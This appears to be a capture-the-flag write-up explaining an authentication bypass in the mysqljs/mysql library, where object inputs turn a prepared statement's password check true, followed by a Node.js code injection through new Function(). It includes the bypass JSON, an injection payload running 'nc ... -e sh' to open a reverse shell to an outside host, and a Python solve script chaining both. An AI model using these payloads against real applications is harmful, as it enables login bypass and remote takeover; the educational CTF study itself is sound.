Prepared Statement Bypass in NodeJS MySQL

November 10, 2024

Challenge Objective

  • Bypass prepared statements in mysqljs/mysql
  • Exploit the bypass and eventually get RCE through Node.js code injection

Bypassing Prepared Statements in mysqljs/mysql

This vulnerability exposes a flaw where mysqljs/mysql fails to handle object inputs in prepared statements correctly. By passing an object where a string or number is expected, attackers can alter the query structure in a way that effectively bypasses the intended security of prepared statements. In this case:

  • Using Objects Instead of Strings/Numbers: When objects are supplied as inputs, mysqljs/mysql interprets them in a way that turns the query condition into an always-true expression.
  • Example of Query Interpretation: If an attacker provides { "password": { "password": 1 } }, this object will be evaluated in the query as password = 1, which bypasses the password check.

Example

When we supply the following query in MySQL:

SELECT username FROM users WHERE username = 'admin' AND password = `password` = 1;
+----------+
| username |
+----------+
| admin    |
+----------+

This is the result of the query when the password is 1.

Vulnerable Code

/api/login takes the username and password from user input and passes it to loginUser(), which is defined in /database.js. This function contains the prepared statement.

Snippet 1:

// /routes/index.js
router.post('/api/login', async (req, res) => {
	const { username, password } = req.body;

	if (username && password) {
		return db.loginUser(username, password) // <- passed to database.js
[...]
 module.exports = database => {
	db = database;
	return router;
};

Snippet 2:

// /database.js
async loginUser(user, pass) {
		return new Promise(async (resolve, reject) => {
			let stmt = 'SELECT username FROM users WHERE username = ? AND password = ?'; // <- vulnerable prepared statement
            this.connection.query(stmt, [user, pass], (err, result) => {
                if(err || result.length == 0)
                    reject(err)
                resolve(result)
            })

Prepared Statement Bypass Code

We are able to bypass the prepared statement by supplying the following JSON body:

{"username":"admin","password": {"password": 1}}

Why does this work?

When mysqljs/mysql processes objects in prepared statements, it follows these rules:

  1. For objects passed as parameters, the library converts them into SQL expressions following this pattern:

    • Each object property becomes: property_name = 'property_value'
    • Example: {name: 'john'} becomes name = 'john'
  2. When an object property's value is another object, the library calls toString() on it, which results in:

    {password: {password: 1}}.toString() // Becomes "password = 1"
    

This means our payload:

{"username": "admin", "password": {"password": 1}}

Gets processed into the SQL equivalent of:

SELECT username FROM users 
WHERE username = 'admin' AND password = (password = 1)

The (password = 1) expression always evaluates to either 1 (true) or 0 (false) in MySQL, effectively turning our query into:

SELECT username FROM users 
WHERE username = 'admin' AND password = 1

This bypasses the password check since password = 1 will always be true!

Solving the Challenge to get the flag

Lastly we need to get code execution. This can observing the vulnerable code in the following snippets.

Snippet 3:

In this code there's a possibility that user-supplied input activity passes to calculate() function located in /helpers/SpikyFactor.js

// /routes/index.js
router.post('/api/activity', AuthMiddleware, async (req, res) => {
	const { activity, health, weight, happiness } = req.body;
	if (activity && health && weight && happiness) {
		return SpikyFactor.calculate(activity, parseInt(health), parseInt(weight), parseInt(happiness))

Which looks like this in a normal request:

POST /api/activity HTTP/1.1
{"activity":"play","health":"61","weight":"47","happiness":"53"}

Next, the string 'res' includes the 'activity' value. Lastly, 'res' is passed into new Function(res) and it results in node.js code injection.

Snippet 4:

// /helpers/SpikyFactor.js
const calculate = (activity, health, weight, happiness) => {
    return new Promise(async (resolve, reject) => {
        try {
            // devine formula :100:
            let res = `with(a='${activity}', hp=${health}, w=${weight}, hs=${happiness}) {
                if (a == 'feed') { hp += 1; w += 5; hs += 3; } if (a == 'play') { w -= 5; hp += 2; hs += 3; } if (a == 'sleep') { hp += 2; w += 3; hs += 3; } if ((a == 'feed' || a == 'sleep' ) && w > 70) { hp -= 10; hs -= 10; } else if ((a == 'feed' || a == 'sleep' ) && w < 40) { hp += 10; hs += 5; } else if (a == 'play' && w < 40) { hp -= 10; hs -= 10; } else if ( hs > 70 && (hp < 40 || w < 30)) { hs -= 10; }  if ( hs > 70 ) { m = 'kissy' } else if ( hs < 40 ) { m = 'cry' } else { m = 'awkward'; } if ( hs > 100) { hs = 100; } if ( hs < 5) { hs = 5; } if ( hp < 5) { hp = 5; } if ( hp > 100) { hp = 100; }  if (w < 10) { w = 10 } return {m, hp, w, hs}
                }`;
            quickMaths = new Function(res);

Node.js Code Injection

We can get code execution by supplying the following JSON body:

{"activity":"play'+(global.process.mainModule.require('child_process').execSync('nc 172.233.62.142 9002 -e sh'))+'","health":"63","weight":"42","happiness":"56"}

And catch the shell on the attacker's machine.

References

Solve Script

import requests
s = requests.Session()
URL = 'http://target.local/'
# Step 1: bypass the login
data = {"username":"admin","password": {"password": 1}}
response = s.post(f"{URL}/api/login", json=data)
print(response.text)
# Step 2: execute the command
data ={"activity":"sleep'+(global.process.mainModule.require('child_process').execSync('nc 192.168.1.100 9001 -e sh'))+'","health":"63","weight":"42","happiness":"56"}
s.post(f"{URL}/api/activity", json=data)

We use cookies to improve your experience on our site. By using our site, you consent to cookies.Learn more.